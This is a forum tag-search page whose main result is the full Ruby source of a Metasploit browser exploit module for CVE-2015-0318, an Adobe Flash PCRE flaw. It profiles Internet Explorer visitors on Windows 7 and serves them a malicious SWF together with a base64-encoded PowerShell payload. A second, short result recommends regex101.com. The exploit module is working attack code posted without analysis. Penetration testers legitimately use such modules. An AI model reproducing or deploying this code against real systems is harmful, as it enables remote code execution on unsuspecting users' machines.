Search the Community
Showing results for tags 'pcre'.
Found 2 results
-
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking CLASSID = 'd27cdb6e-ae6d-11cf-96b8-444553540000' include Msf::Exploit::Powershell include Msf::Exploit::Remote::BrowserExploitServer def initialize(info={}) super(update_info(info, 'Name' => "Adobe Flash Player PCRE Regex Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Adobe Flash Player. A compilation logic error in the PCRE engine, specifically in the handling of the \c escape sequence when followed by a multi-byte UTF8 character, allows arbitrary execution of PCRE bytecode. }, 'License' => MSF_LICENSE, 'Author' => [ 'Mark Brand', # Found vuln 'sinn3r' # MSF ], 'References' => [ [ 'CVE', '2015-0318' ], [ 'URL', 'http://googleprojectzero.blogspot.com/2015/02/exploitingscve-2015-0318sinsflash.html' ], [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=199' ] ], 'Payload' => { 'Space' => 1024, 'DisableNops' => true }, 'DefaultOptions' => { 'Retries' => true }, 'Platform' => 'win', 'BrowserRequirements' => { :source => /script|headers/i, :clsid => "{#{CLASSID}}", :method => "LoadMovie", :os_name => OperatingSystems::Match::WINDOWS_7, :ua_name => Msf::HttpClients::IE, # Ohter versions are vulnerable but .235 is the one that works for me pretty well # So we're gonna limit to this one for now. More validation needed in the future. :flash => lambda { |ver| ver == '16.0.0.235' } }, 'Targets' => [ [ 'Automatic', {} ] ], 'Privileged' => false, 'DisclosureDate' => "Nov 25 2014", 'DefaultTarget' => 0)) end def exploit # Please see data/exploits/CVE-2015-0318/ for source, # that's where the actual exploit is @swf = create_swf super end def on_request_exploit(cli, request, target_info) print_status("Request: #{request.uri}") if request.uri =~ /\.swf$/ print_status("Sending SWF...") send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Pragma' => 'no-cache'}) return end print_status("Sending HTML...") tag = retrieve_tag(cli, request) profile = get_profile(tag) profile[:tried] = false unless profile.nil? # to allow request the swf send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'}) end def exploit_template(cli, target_info) swf_random = "#{rand_text_alpha(4 + rand(3))}.swf" target_payload = get_payload(cli, target_info) psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true}) b64_payload = Rex::Text.encode_base64(psh_payload) html_template = %Q|<html> <body> <object classid="clsid:#{CLASSID}" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" /> <param name="movie" value="<%=swf_random%>" /> <param name="allowScriptAccess" value="always" /> <param name="FlashVars" value="sh=<%=b64_payload%>" /> <param name="Play" value="true" /> <embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>" Play="true"/> </object> </body> </html> | return html_template, binding() end def create_swf path = ::File.join( Msf::Config.data_directory, "exploits", "CVE-2015-0318", "Main.swf" ) swf = ::File.open(path, 'rb') { |f| swf = f.read } swf end end Source
-
Regex101.com is a free of charge regex testing service where you can easily create expressions while you simultaneously have real time error detection, highlighting and explanation of your regex. Thanks to the permalink feature, it is a great reference which may even be used in code where you need to explain your regular expressions to co-workers. Link: regex101.com
